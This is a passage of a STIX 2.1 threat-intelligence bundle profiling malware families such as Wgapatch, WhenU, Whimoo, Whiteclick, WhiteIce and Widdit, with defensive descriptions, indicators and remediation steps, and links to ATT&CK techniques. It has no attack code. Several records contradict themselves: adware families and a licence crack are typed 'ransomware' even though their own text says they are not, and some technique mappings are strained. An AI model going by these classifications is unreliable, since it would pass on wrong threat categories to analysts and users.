      "source_ref": "malware--0edec570-7d42-5b20-9fca-d7bf5f7170e7",
      "target_ref": "attack-pattern--09c42517-207d-5692-a627-244c9dafb071",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wfpdisabler exhibits technique T1543 (Create or Modify System Process (Paving the way to overwrite critical system binaries))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--28319c4c-2e0b-5951-b8bb-cc69eebd031f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wgapatch",
      "description": "HackTool:Win32/Wgapatch refers to software designed to bypass Microsoft's Windows Genuine Advantage (WGA) validation. While technically a 'hack tool' rather than a virus, its presence is a severe security risk. It represents a user actively attempting software piracy. More importantly, these tools are primary distribution vectors (`T1189`) for devastating malware like trojans, botnets, and ransomware, which are silently bundled with the crack.<br><br><b>Understanding Wgapatch (Software Piracy/Cracking)</b><br>To an end-user, the tool is a way to get a free Windows license. For a SOC analyst, Wgapatch is a massive compliance and security violation. To successfully patch WGA, the tool requires deep, system-level (SYSTEM) privileges, often replacing core Windows DLLs. When a user runs this, they are willingly handing over full control of the endpoint to an untrusted, anonymous developer.<br><br><b>Execution and Security Implications</b><br>Wgapatch is typically downloaded from shady torrent sites or peer-to-peer networks. Upon execution, the user must run it as an Administrator (`T1068`). The tool modifies system files (like `legitcheckcontrol.dll`) and registry keys to spoof the validation check. Because the user has granted the tool administrative rights, any bundled malware executes silently in the background. It is exceedingly rare to find a 'clean' crack; they almost universally drop secondary payloads like cryptocurrency miners or infostealers (`T1105`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the introduction of unknown, severe malware into the environment and the violation of software licensing agreements. Host-based IoCs include the presence of files named `wgapatch.exe`, `RemoveWGA.exe`, or modified Windows licensing DLLs. EDR alerts will often flag a non-standard executable tampering with critical system registry keys (`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\WPAEvents`). (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wgapatch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wgapatch"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7bb6a52-4f7b-543f-a6cf-527836bd8f95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--28319c4c-2e0b-5951-b8bb-cc69eebd031f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wgapatch exhibits technique T1189 (Drive-by Compromise (The primary vector for malware bundled with the crack))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b23e774-502e-5e00-9b54-c692385cd8b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--28319c4c-2e0b-5951-b8bb-cc69eebd031f",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wgapatch exhibits technique T1068 (Exploitation for Privilege Escalation (User grants the tool Admin rights to modify system files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5db13969-146d-597a-a409-19ff38ba30f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--28319c4c-2e0b-5951-b8bb-cc69eebd031f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wgapatch exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Tampering with Windows validation components))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aaa6dafb-f2be-5ba4-baa4-2ce9d97880c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Whenu",
      "description": "<h3>Executive Summary</h3>\nWhenU (most famous for its \"SaveNow\" application) is one of the original, pioneering families of Adware. Highly prevalent in the early 2000s, WhenU established many of the deceptive bundling and behavioral tracking techniques still utilized by modern Potentially Unwanted Programs (PUPs). It was designed to monitor a user's web browsing in real-time to deliver highly targeted, contextual pop-up advertisements.\n\n<h3>Distribution and Technical Behavior</h3>\nWhenU was almost exclusively distributed via aggressive software bundling. It was famously packaged with early, highly popular peer-to-peer (P2P) file-sharing applications (like BearShare and Kazaa), meaning users inadvertently installed the adware when seeking out legitimate software.\n\nOnce executed, WhenU integrated deeply into the user's browsing experience:\n<ul>\n<li><strong>Contextual Ad Delivery:</strong> The core component of WhenU (SaveNow) actively monitored the URLs a user visited and the search terms they entered into search engines. If a user searched for \"flights to London,\" WhenU would instantly generate a pop-up advertisement for a competing travel agency.</li>\n<li><strong>Local Database and Updates:</strong> Rather than querying a server for every ad, WhenU downloaded a massive, encrypted database of keywords and corresponding affiliate links to the local hard drive. This allowed it to serve ads instantly without generating massive amounts of network traffic, hiding its operations from early firewalls.</li>\n<li><strong>Deceptive EULA:</strong> WhenU was notorious for its End User License Agreement (EULA), which buried the details of its tracking and ad-serving behaviors deep within pages of legal jargon, allowing the company to claim users had \"consented\" to the adware.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile WhenU argued it was legitimate marketing software (and fought numerous legal battles regarding the definition of spyware), it was universally classified as Adware by security vendors. It caused immense system slowdowns, generated highly disruptive pop-ups, and represented a significant invasion of user privacy by tracking all web activity.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Modern enterprise-grade anti-malware solutions easily detect and remove WhenU and its associated components. A full system scan will identify the executables and the local ad databases.</li>\n<li><strong>Application Control:</strong> The primary defense against adware like WhenU is enforcing strict application whitelisting policies, preventing standard users from executing unapproved software installers (especially P2P clients) that serve as the distribution vector.</li>\n<li><strong>Legacy Systems:</strong> While WhenU is largely extinct on modern OS architectures, legacy systems (Windows XP/7) used in specific OT environments should be scanned to ensure these classic adware families are not silently consuming resources.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.WhenU",
        "PUP.SaveNow",
        "Adware.WhenUSave"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Whenu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/whenu"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03262093-0d78-5cd0-98ca-ec9ed049b0fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aaa6dafb-f2be-5ba4-baa4-2ce9d97880c9",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Whenu exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdcac963-15b7-5d9f-b635-d3ee3ccf5e21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aaa6dafb-f2be-5ba4-baa4-2ce9d97880c9",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Whenu exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c87a9f1e-62b8-5fec-8930-dd2fd7575717",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aaa6dafb-f2be-5ba4-baa4-2ce9d97880c9",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Whenu exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a307585c-528a-5c1f-ae47-b87d74f86744",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Whimoo",
      "description": "<h3>Executive Summary</h3>\nWhimoo is a prevalent adware family and Potentially Unwanted Program (PUP) designed to aggressively monetize an infected user's web browsing activity. It achieves this by modifying core browser configurations, injecting intrusive advertisements, and tracking user data, severely degrading both system performance and user privacy.\n\n<h3>Distribution and Technical Behavior</h3>\nWhimoo is almost exclusively distributed via deceptive software bundling. Users inadvertently infect their systems when downloading \"free\" software\u2014such as media players, PDF converters, or system optimizers\u2014from untrustworthy software aggregation websites, where Whimoo is hidden in the \"Recommended\" installation path.\n\nOnce installed, Whimoo deeply integrates with the operating system and installed web browsers (Google Chrome, Mozilla Firefox, Microsoft Edge). Its core behaviors include:\n<ul>\n<li><strong>Browser Hijacking:</strong> Forcibly altering the default search engine, homepage, and new tab settings to redirect all traffic through an affiliate-linked search portal controlled by the adware operators.</li>\n<li><strong>Ad Injection:</strong> Utilizing malicious browser extensions or local proxy settings to overlay legitimate websites with intrusive pop-ups, pop-unders, banner ads, and sponsored in-text hyperlinks.</li>\n<li><strong>Data Harvesting:</strong> Continuously tracking the user's browsing history, search terms, and geolocation data to serve highly targeted advertisements and to sell this telemetry to third-party data brokers.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Whimoo is not classified as destructive malware (it does not encrypt files or steal banking credentials), it introduces significant operational friction. The injected advertisements are frequently served by low-reputation ad networks, increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections, such as ransomware or info-stealers.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear hijacked search and homepage configurations.</li>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Whimoo executables, hidden scheduled tasks, and persistent registry keys.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies (e.g., Windows Defender Application Control) to prevent standard users from executing unapproved software installers that frequently bundle adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Whimoo",
        "PUP.Whimoo",
        "BrowserModifier.Whimoo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Whimoo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/whimoo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1dded1b9-cc40-59b4-8203-a01040ffa541",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a307585c-528a-5c1f-ae47-b87d74f86744",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Whimoo exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ae8dcd1-366e-559c-a02e-f90c7df6528f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a307585c-528a-5c1f-ae47-b87d74f86744",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Whimoo exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44c1fc1e-4458-5f7f-a1c7-625bddd980da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a307585c-528a-5c1f-ae47-b87d74f86744",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Whimoo exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ceaaf3bd-eb3d-5cc6-a958-843d5da56dda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Whiteclick",
      "description": "<h3>Executive Summary</h3>\nWhiteclick (often detected as Adware.Whiteclick or PUP.Whiteclick) is an intrusive Adware application and \"Clicker\" malware. It is designed to aggressively monetize a user's web browsing by injecting unsolicited advertisements and invisibly simulating user clicks on affiliate marketing links and banner ads, generating fraudulent revenue for the malware operators while severely degrading system performance.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nWhiteclick is almost exclusively distributed via software bundling (pay-per-install networks). Users typically encounter this threat when downloading \"free\" software (like media converters or download managers) from untrustworthy third-party portals, where the adware is silently installed alongside the intended application.\n\nUpon execution, it deeply integrates into the operating system and web browsers:\n<ul>\n<li><strong>Browser Hijacking:</strong> Whiteclick installs malicious extensions or Browser Helper Objects (BHOs) into major web browsers. It frequently alters the default homepage and search engine to route traffic through monetization gateways.</li>\n<li><strong>Ad Injection and Click Fraud:</strong> The core functionality combines visible ad injection (pop-ups, highlighted keywords) with invisible \"Clicker\" routines. The malware runs hidden browser instances in the background, automatically navigating to specific URLs and simulating mouse clicks on ads to artificially inflate traffic and generate pay-per-click revenue.</li>\n<li><strong>System Performance Impact:</strong> Because the software is constantly rendering hidden web pages and processing advertisements, it often causes severe system slowdowns, high CPU and memory utilization, and browser instability.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Whiteclick is not inherently destructive like ransomware, it is highly undesirable. The constant ad injection and invisible click fraud consume significant system bandwidth and resources. Furthermore, the injected advertisements often lead to deceptive technical support scams or \"malvertising\" networks that distribute severe secondary malware.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Application Uninstallation:</strong> The primary remediation step is to locate and uninstall \"Whiteclick\" (or similarly named recent installations) via the Windows Control Panel (Programs and Features).</li>\n<li><strong>Browser Reset:</strong> Because adware fundamentally alters browser configurations, the most effective cleanup method is to perform a full reset of all installed web browsers to their factory defaults, which automatically removes malicious extensions and tracking cookies.</li>\n<li><strong>Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution to scan for and remove lingering registry keys and orphaned files associated with the click fraud routines.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Whiteclick",
        "PUP.Whiteclick",
        "Trojan.Clicker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Whiteclick",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/whiteclick"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65ef26b6-8037-5929-b417-4dc95b157489",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ceaaf3bd-eb3d-5cc6-a958-843d5da56dda",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Whiteclick exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fcf165fe-94ee-5db8-a695-1d302a6c8f08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ceaaf3bd-eb3d-5cc6-a958-843d5da56dda",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Whiteclick exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a18d64f5-3c4d-5cb7-ba75-a7d0ab99982e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ceaaf3bd-eb3d-5cc6-a958-843d5da56dda",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Whiteclick exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fccc9a61-36d3-5776-9c54-2be2f3726246",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Whiteice",
      "description": "<h3>Executive Summary</h3>\nWhiteIce is a malicious downloader Trojan engineered to stealthily infiltrate a target system, establish a hidden foothold, and subsequently download and execute secondary malware payloads. It acts as a critical intermediary in complex infection chains, often paving the way for highly destructive threats like ransomware or banking trojans.\n\n<h3>Infection Vector and Execution Flow</h3>\nWhiteIce is typically distributed via targeted spear-phishing campaigns. The emails utilize socially engineered lures containing malicious macro-enabled Microsoft Office documents, or ZIP archives containing heavily obfuscated scripts.\n\nUpon execution of the initial lure, WhiteIce is deployed onto the system. Its primary operational phases include:\n<ul>\n<li><strong>Reconnaissance and Evasion:</strong> WhiteIce immediately checks its environment to ensure it is not running within a malware analysis sandbox or virtual machine. It may also check the system locale to avoid infecting targets in specific geographic regions.</li>\n<li><strong>C2 Communication:</strong> The Trojan reaches out to a hardcoded or dynamically generated command-and-control (C2) server. It transmits a basic fingerprint of the infected machine (OS version, installed antivirus) to the attacker.</li>\n<li><strong>Payload Delivery:</strong> Based on the transmitted fingerprint, the C2 server instructs WhiteIce to download a specific secondary payload. This payload is often injected directly into the memory of a legitimate process (like `explorer.exe`) to evade file-based detection.</li>\n</ul>\n\n<h3>Security Implications</h3>\nA WhiteIce infection indicates a severe perimeter breach. While the WhiteIce executable itself may not directly steal data, its successful execution guarantees that a secondary, potentially catastrophic payload is either imminent or already active on the network.\n\n<h3>Eradication and Incident Response</h3>\n<ul>\n<li><strong>Advanced EDR Detection:</strong> Configure EDR platforms to monitor for anomalous parent-child process relationships, specifically office applications spawning command shells (`cmd.exe`) or PowerShell, which is indicative of a WhiteIce downloader script executing.</li>\n<li><strong>Network Isolation:</strong> Immediately isolate the affected endpoint to interrupt the WhiteIce C2 communication and prevent the download of the secondary payload.</li>\n<li><strong>Comprehensive Sweeps:</strong> A standard antivirus scan is insufficient. Perform a deep forensic sweep to locate the WhiteIce persistence mechanisms (registry keys) and identify/remove the specific secondary payload it downloaded.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Downloader.WhiteIce",
        "Trojan.WhiteIce",
        "Win32/WhiteIce"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Whiteice",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/whiteice"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--882342e8-0868-5e27-833e-faa6c702fa33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fccc9a61-36d3-5776-9c54-2be2f3726246",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Whiteice exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df8fe0b3-03b3-546c-843d-0b1f631713ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fccc9a61-36d3-5776-9c54-2be2f3726246",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Whiteice exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3be1241c-437c-5fbe-90b9-c73660d4ef32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fccc9a61-36d3-5776-9c54-2be2f3726246",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Whiteice exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--613fa9b5-19f3-5ee2-85fd-d8c32b237346",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wi0Abyrjybki",
      "description": "<h3>Executive Summary</h3>\n\"Wi0abyrjybki\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The random, DGA-like (Domain Generation Algorithm) naming convention strongly suggests that this malware was generated dynamically by an automated exploit kit or malware builder to evade static antivirus signatures through constant polymorphic mutation.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these randomized naming conventions is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker (like Emotet or Trickbot).\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized (using tools like VMProtect or custom packers). This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Dynamic Infrastructure:</strong> The malware often relies on a Domain Generation Algorithm (DGA) to rapidly cycle through thousands of potential command-and-control (C2) domains, making IP/Domain blacklisting at the firewall ineffective.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, randomly named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior (e.g., an unknown executable attempting to inject code into `svchost.exe`).</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed (such as rootkit-like persistence), attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Wi0abyrjybki",
        "Malware.Obfuscated.DGA",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wi0Abyrjybki",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wi0abyrjybki"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb7a18f9-71fa-5115-a0f5-845a96ed1b3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--613fa9b5-19f3-5ee2-85fd-d8c32b237346",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wi0Abyrjybki exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8583ab79-6211-55f2-81a0-d32ba436bb9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--613fa9b5-19f3-5ee2-85fd-d8c32b237346",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wi0Abyrjybki exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e92f182-fa5f-56bb-b58d-92b9796ac952",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--613fa9b5-19f3-5ee2-85fd-d8c32b237346",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wi0Abyrjybki exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40852144-1ff8-58b2-9146-365a049cf49e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--613fa9b5-19f3-5ee2-85fd-d8c32b237346",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wi0Abyrjybki exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--76827c63-077a-5a87-82c9-abb3ab6e7a73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Widdit",
      "description": "Adware:Win32/Widdit is an intrusive adware component designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Widdit</b><br>To an end-user, Widdit manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Widdit is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files (e.g., Chrome's `Preferences` file or Firefox's `prefs.js`) to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
